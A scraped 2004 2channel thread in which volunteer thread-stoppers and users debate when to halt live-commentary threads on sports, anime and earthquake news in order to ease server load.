行わないでください。行う場合は以下の「お止め組み」の議論に参加
もしくはその精神を大切にしてください。有効期限=次の指示まで、
サーバの資源や参加人数は時々刻々と変化しており云々
常に一定の基準で動く必要は全くなく云々
http://qb5.2ch.net/test/read.cgi/saku/1076626229/827 明日は、普段来ない方が山のように来て実況したりスレッド乱立するので
削除しようかなと思ってました。
モーニング娘狼やニュース速報やハングルや芸能スポーツ＋は無理でも、
せめて日本代表蹴球板だけでもと。
日本代表サッカー板
http://ex8.2ch.net/eleven/ ex7で削除のれんしゅうをするのはかまわないという趣旨の言及は過去にありました。
でも、れんしゅう＝ここでのがくしゅうかいに参加、のような流れなんじゃないかなー？
そのへんはよくわかりませんけど、
で、れんしゅうOKはex7だけで、ex8はダメなような気がなんとなく。。。
どうやらお止め組みの精神が微塵も理解できないようですね。
>>897
精神を大切にできるのであれば、指示が有効でもそうでなくても問題ないと思いますけど、
どう考えます？ >>894
すばらしいですね。参考になります。
人大杉の出る掲示板だと、試合と関係ないスレッドを上げておくのもいいかも。
>>899
お止め組の精神ってなんですか？
>>900
みじんも理解できてないらしいので、削除は控えます。
たくさん実況されても、掲示板が閉鎖されないのでしたら我慢できます。
>>901
＞たくさん実況されても、掲示板が閉鎖されないのでしたら我慢できます。
閉鎖されないように実況スレを削除して証拠隠滅しようって事？ >>901
＞お止め組の精神ってなんですか？
お止め組にとっての「削除ガイドライン」です。
例えば時計坂氏なら削除しないものを海王なら削除するように
お止め組の基準と削除人の基準とは別個に存在します。
お止め組の基準で除を行うのは削除人としては気狂いで
しかないのでとりあえず待ってください。
これは個人的意見なのですが、実況や鯖負荷なんかの項目は
削除人の削除ガイドラインからは削除した方がよろしいんじゃないでしょうか。
「俺達の領分に手出しすんな」とか言う前にその辺根回ししてくれないと
協力できるモンも出来ないと思いますよ。＞FOX氏
>>906
鯖負荷を外すの？
それってお止め組以前の問題じゃないかなぁ。 >>908
あれ？てっきりそういう方向に持ってくための布石だと思ったんだけど。 >>893
×が打ってある項目はどういう意味なんですか？
サッカー板で既に実施澄みってこと？ 56 名前： 実況厳禁＠名無しの格闘家 投稿日： 04/10/13 20:36:29 ID:BxSEummX
さあ、おまえらガンガンK1実況いこうぜ！
17 名前： 実況厳禁＠名無しの格闘家 投稿日： 04/10/13 20:46:16 ID:BxSEummX
とりあえず誰かニュー速にMAX開幕のｽﾚをたてて
みんな格板に集合と書いてここに誘導しようぜ
はたして懲罰鯖は落ちるのか？とかでもいいな
ねえ、このスレって意味あるの？
実験も考察も終わってるよねぇ？
ちがう？このスレ批判要望板に移動したら？該当スレや導入されていない板からの陳情組
の出張がウザいのですが…。
そうか……実験も考察も終わってたのか……知らなかった。
どんな結論が出たんだろう……
結論は、お止め組み創設で鯖落ちが減った。だったかと
>>922
>>696
ex7の人はここは立ち入り禁止です
なぜそうなったのかは過去ログを読んでお察しくださいです。。。 ありゃ、それはスマンコってす。
最近、このスレに動きがないようですが
うまくいってるんでしょうか？
メジャーリーグと国内サッカーはまだまだかなぁ・・・
試合を見られる人が限られているせいかもしれないけれど。
あとはかなり良くなりつつある実感がしますー
喉元過ぎればにならないことを願う次第。
で、止めない実況の話はどうなっちゃったんだろうか
>>931
このスレ以外でいろいろ動いていますから。
とかげの尻尾とrootさんのモジュールの話は、間接的に実況対策にも貢献しそうな
気配。 > で、止めない実況の話はどうなっちゃったんだろうか
やどかりさんはこんなこと言っていい立場の人なのか
言ってちゃいけない立場の人なのか
言っていい立場の人、ってことなんだろうなぁ
ぬむむ ぎゃーすぎゃーす
>>934
いいんでない？
やどかりさんはいつも積極的にネタ振りしてるし。 「どうなっちゃったんだろうか」がいいのか「どうしましょうか」がいいのか
やっぱりお止め組さんたちが先導することはないのかなぁ
実情を良く知ってるお止め組さんたちがある程度積極的にあれこれ話しあってもらった方が
いいんじゃないかなぁと思ったりしたんだけどなぁと
よし、それは、あきらめるか！
ちょっと抜けてきたですよ
外野ｧｧﾝさんだったら「この実況は止めてくれるな」というのがありそうな気がするんですけど。
何かいい実例ありますか
巡回に戻らなくちゃ・・・
>>936
もともとの板住人じゃないとよくﾜｶﾗﾝ部分があるのですよ。＞止めていい実況と止めない実況 お止め組ってネーミングがキモくてアンチを誘発してるんですが
>>939
2chから引退すれば気にならないYO！ 「実況は実況鯖で」
止めない実況は実況板でやってもらうもので終わったと思ってましたが
そこが決まってないなら話し合い続けたほうがいいのではないですか？
>>938 住人の判断が必要となれば大反響必至
あとは止める実況の扱い方ですよ
止めるとしてもどんな手順で止めるのか
>>108の後、話が進展してないのでageときますね >>942
「このレスが実況かどうかの判別はできる」けど、
・このレスで止めないと爆発実況が起きる可能性があるか？
・このレスから実況でない議論に発展する可能性があるか？
の判別がよくわからんことが多い、ということですよ。
前者は、そのスレで過去に涼実が発動しているかどうかである程度判断。
後者は、放送開始前にどんな話題で議論していたか見て判断。
なんですが、実際にはそれだけで判断しきれない場合も何度かあって、そういう微妙な
のは元々の住人でないと区別できない、ということ。
これは元々住人だった板と、住人でなかった板の両方でお止め組。として活動していな
いと実感できないかも。
「名無しさん」の住人の判断が必要だとは思いませんけどね。つか、むしろ具体的な
「住人の判断」は邪魔。（「もうこのスレ止めてくれ」とかいうのね。感情としてはむ
しろ止めたくなくなる）
各板の自治の人の誘導ｶｷｺがあれば、それは間接的な「実況判断」あるいは「実況常習ス
レの判断」とも読みとれます。これは判断材料として大変助かっています。
>>933
そんなんで実況がなくなっても意味ないと思うんですが。
>>936
ここで諦めちゃったら、大変なことに… もうおとめ組さんたちに話を引っ張っていってもらうことを期待したり
意見を書き込んでもらったりは諦めるしかないなぁと
だってこのスレでもいろんな人がおとめ組さんの考え・意見を聞き出そうとしてるのに
一部の人を除いてほとんど書き込んだりしてくれないし
まあ、彼ら彼女らは本当にスクリプトだってことなんでしょうね
彼らのいないところで勝手に決められた基準でもそれを厳守してホイホイと止めてくれることでしょう
さあ おとめ組に苦しめられた諸君 好きに基準を決めるがいい！
ふはははは！ ふはははは！ ふはははははははぁ！
と思ったら最近あんまり板の方々からの不満って来ないのね
その辺は時間が解決してくれちゃったということなのかしらん
結果的に今実況対策はすべからく上手くいっているということなのかしらん
あっあと実況がなくなるならどんな手段でもいいんじゃないかって思う
外野の人が壊れてしまった(ﾉД`)ｼｸｼｸ
規制って手段で実況がなくなっても
根本的解決にはならんと思うデスよ。
みんなでわいわいしましょうと言っても
事実上いづみ★氏、FOX氏が何か言わんと何も起こらないからなぁ
国サカ、格闘技、モタスポは解決ではないとは言え
まぁプロ野球のアレのようなことはなさそうだし
鯖付加的には実況が減ってることは確かだろうし、安定期かな
単にシーズンが終わって頻度が下がっただけでないの？
ちょっとよっぱですけどー
実質上お止め組が担当している大きなスポーツ実況はこれからかなり減る季節なんですよ。
そなへんも考えて、ま、今後の方向性を定めんとならんということなんすよ(廃止することも含めてね)
あとは、ぶっちゃけこのスレに出てくるお止め組の人が少ないってことですよ。
組長やFOX★さんのお題にも答えてないとかさ
そういう人の答えを引き出すのは無理っぽいですー
それ以降も活動しているのをたまーに見かけたりしましたけど・・・
・・・年数回の限定専属みたいな方々ですよね、妄想逞しくすれば(ry
意見ってのも諸刃の剣でね
うっかり見解を書いちゃうと「この程度なら許される」みたいな解釈されることもあるわけですよ
たとえばさ、いつもコピペ連投荒らししている人とかがなぜか5つと決まってたりして
それはなんで5つかってーと、その程度なら削除対象外でーって言われたのを
逆に5つならOKと解釈したみたいなとこで成立しちゃったりするんで
実況について意見を書くのにも慎重にならざるを得ないということはあるですよ。
いやー、ホントにお止め組に苦しめられた人がこれはなんとかしてくれって意見があれば
聞く気があるんだけど、意見じゃなくて感情的にお止め組uzeeeeーだけ言われてもこっちも困るんすよ
具体的なスレも挙げてくれなかったりとかさ。
だからってこのスレで盛り上げるためにななし潜伏や自演なんかやりたくないしさー
いろいろ意見が出て、いんやー、それは違うと思うぞって時には
書き込んでます（やたら流れが早すぎる時は乗り遅れてるけどさ）
だから外野のひとが壊れたって感じはしないです
まさに現状をよく表しているという気がしてしまうです。
自分は短気ではないほうだと思うけど、このスレは硬直しすぎてわたしにもストレスっぽ。
優等生過ぎるスレもレスも窮屈だっしーたのしくないしー(じぶんはあんまり芸のないタイプだけどさー)
でもこのままで尻すぼみに終わらせてたまるかっつー意地ならありますよ（時間はあんまないけど）
諦めたらそこで試合終了ですよ・・・・
おくらさんだから絡んじゃうー
誤解ってどれを指してるですか？
誤解＝うっかり見解を書いちゃうと「この程度なら許される」みたいな解釈されること
ってことで
ふむふむー、それはそうだねー。
って話し合いのテーブルにつく人が少ないと、決まりごととして受け取られやすいみたいでさ
わいわい意見交換するなら誤解も解けそうなんだけどね。
勝手に決めてもいいんだろうけどルールが絶対的なものとして一人歩きするってのは怖いと思うですよ。
いや、マジでお止め組の精神の在り処ってのはそのワイワイのなかに欲しいんですよ。
で、次スレにテンプレ貼れてないんですよ
コピペじゃもう使えないのはこのスレを読んだ人にはわかってるはずだけど。
前スレとこのスレあたりの流れ纏めないとやっぱマズイかなー
てことは、わかってるんだけど、今日はムリッポ
そろそろ寝ますーMLB巡回起きられるかな・・
ホットカモミールミルクｳﾏｰ・・・ｵﾔｼﾐｰﾉｼ
涼美さんはご存知でしょうが、今日のメジャーリーグは実況酷そう。
http://sports7.2ch.net/test/read.cgi/mlb/1098323023/8
8 名前：名無しさん＠お腹いっぱい。[] 投稿日：04/10/21 10:49:12 ID:UAedFaH7
今日はスレ止めても新スレが建ってすぐ実況って感じだな(藁
ちなみに、カードは
ボストン・レッドソックス ｖｓ ニューヨーク・ヤンキース。
（Boston Redsox V.S. New York Yankees）
たまに綴り間違えがあるけど、それも同様スレ。 涼美って個人名じゃなかったのか…orz ort or2
ちなみに、第７戦終了想定時刻は13時少し前頃と想定されます。
お止め組も懲罰鯖送りも規制も、きっかけに過ぎないんだ、きっと。
れんげさん、お疲れ様でした。試合も先ごろ終わりました。
格闘技、モタスポの方がいい雰囲気に見えた
以上 私の日記帳
>962
普段は仕事の関係で見れてないので、もしかしたら今日だけなのかも
ですが、mlbは積極的な自治誘導があまり見られなかったのがちょっと
アレですねー
mlb板は試合がある時だけの出張組が多いのかしらん？
連投規制に引っ掛かりながらも名無しで誘導してましたが、さすがに
スレタイに「実況」入りの対戦スレは誘導後即止めましたです
今朝、NHK総合で放送されていることに気付かず、
お手伝いできませんでした。すみませんm(_ _)m
野球総合(mlb)の自治スレ、高校野球の時はけっこう動きが
あったのですが現在は閑散としている感じですね…
>>968
ぐはっ。実況スレのつもりで変なところに誤爆orz で、地震の実況は止めるべき実況なのか？
止めてはいけない実況なのか？
当事者にとっては状況報告は必要だけど
なんにもする気はありません >>970
脳内止めない基準(お止め組。の精神とか一切考えないで)
いくら止めても間に合わない気がするもの それは止めちゃいけない実況だろ。
完全突発のものまで止めるんか？
突然地震。。。は止めないし止まりませんが 地震はg)でしょ。
（すでに地震板が鯖として用意されているけど）
アニメ放映中止のあと実況が止まらないとかなら
4)-g)になるかもなあと思ったりしたのですが。
ｃｆ.>>8
実際鯖落ち寸前でスクリプト動かしたら、鯖に負荷かけるだけ。
そして書き込みとぶつかってスレッドを止められないだけっす、無駄なことはしないのが吉。 ＞アニメ放映中止のあと実況が止まらないとかなら
＞4)-g)になるかもなあと思ったりしたのですが。
なんか、これっぽいけど、アニメ板
それでも活動範囲外だしねえ
あまりに酷いようなら報告スレへドゾー
4)-g) でもお止め組としては対象外だな。
9.11だって2)って言われてるんだから。しばらく経ったあとの話題含めて。
板違いの話題なら、板違いで削除のほうに持っていったほうがいいと思う。
板違いを理由にお止め組で止めるのはさすがに越権行為でしょう。
そろそろお止め組範囲を拡大したらどうでしょ？
実況しまくりの板もあるようだし
同じく、アニメ板お願いします。今回のデス種厨の暴れっぷりには
呆れました。
頻繁に板停止処分を科して見たらどうかと思う。
スレストは実害が大きくないから実況を継続しているのだろうし。
また、人気のある板でもひどい場合廃止を行ってもいいのでは？
多少緊張関係があってもいいと思う。無料利用の掲示板なんだから
強硬手段があってもいいと思う。
>>987
ex7は対象外
というか、地震とkeibaのセットで思い出したのだけどね、
今みたいな使い方していたら「京都の記念碑」のようなときには確実に鯖が飛びますよ。
>>988
どこの板？ >>988
●持ちなら過去ログを読んで経緯を調べてください。
強行手段は論外です。 どっちかっていうと、今対象になってるのより競馬とかアニメとかのほうが向いてるんじゃないかな。
今は放送時間が長いのばっかりなんで、一時停止の時間と釣り合ってない。
機能改正できないのかな？
野球やサッカー、格闘技、モータースポーツなんかは
一回止めたら2時間解除不可能にすればいい。
競馬なんかは今までどおりでいいと思うけど。
お止め組の機能を変える必要はないと思う。
変える意味がないし
何でこう力押しで行こうとする人が出てくるんだろ？
頑張ってる鯔が哀れ過ぎる。
>>993-994
個人的には、放送時間２時間超の競技で今の停止時間が適当だと考えていますよ。
放送中だからといって全ての書き込みを禁止するものではないし。
だからむしろアニメ板では５分程度から試していくのがよいのではないかと。
lud20200513185056ca
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